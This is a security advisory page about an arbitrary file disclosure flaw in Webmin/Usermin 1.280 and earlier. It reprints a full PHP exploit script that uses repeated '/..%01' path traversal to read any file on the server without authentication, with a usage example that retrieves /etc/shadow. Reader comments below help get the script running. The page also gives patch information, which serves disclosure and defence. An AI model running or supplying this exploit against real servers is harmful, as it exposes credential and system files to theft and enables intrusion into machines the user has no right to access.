|
Brought to you by:
Suppliers of:
|
|
|
| |
"Webmin is a web-based interface for system administration for Unix."
Improper design allows attackers to gain information about a system using Webmin. |
| |
Credit:
The information has been provided by Alexander Hristov.
The original article can be found at: http://securitydot.net/xpl/exploits/vulnerabilities/articles/1152/exploit.html
|
| |
Vulnerable Systems:
* Webmin Webmin version 1.280 and prior
Immune Systems:
* Webmin Webmin version 1.290
* Webmin Webmin version 1.220
Exploit:
<?php
/*
Name : Webmin / Usermin Arbitrary File Disclosure Vulnerability
Date : 2006-06-30
Patch : update to version 1.290
Advisory : http://securitydot.net/vuln/exploits/vulnerabilities/articles/17885/vuln.html
Coded by joffer , http://securitydot.net
*/
$host = $argv[1];
$port = $argv[2];
$http = $argv[3];
$file = $argv[4];
// CHECKING THE INPUT
if($host != "" && $port != "" && $http != "" && $file != "") {
$z = "/..%01";
for ($i=0;$i<60;$i++) {
$z.="/..%01";
}
$target = $http."://".$host.":".$port."/unauthenticated".$z."/".$file."";
echo "Attacking ".$host."\n";
echo "---------------------------------\n";
// INITIALIZING CURL SESSION TO THE TARGET
$ch = curl_init();
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $target);
curl_setopt ($ch, CURLOPT_TIMEOUT, '10');
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);
$content = curl_exec($ch);
curl_close ($ch);
// CLOSING CURL
// ECHOING THE CONTENT OF THE $FILE
echo $content;
echo "---------------------------------\n";
echo "Coded by joffer , http://securitydot.net\n";
} else {
// IF INPUT IS NOT CORRECT DISPLAY THE README
echo "Usage php webmin.php HOST PORT HTTP/HTTPS FILE\n";
echo "Example : php webmin.php localhost 10000 http /etc/shadow\n";
echo "Coded by joffer , http://securitydot.net\n";
}
?>
|
| Subject:
|
problem |
Date: |
15 Mar. 2009 |
| From: |
sasha gabriel.neicutyahoo.com |
| Fatal error: Call to undefined function curl_init() in webmin.php on line 30 |
|
| Subject:
|
@sasha |
Date: |
16 Nov. 2009 |
| From: |
httphackthisway.wordpress.com |
install php5-curl
sudo apt-get install php5-curl
|
|
|
|
|
|
|
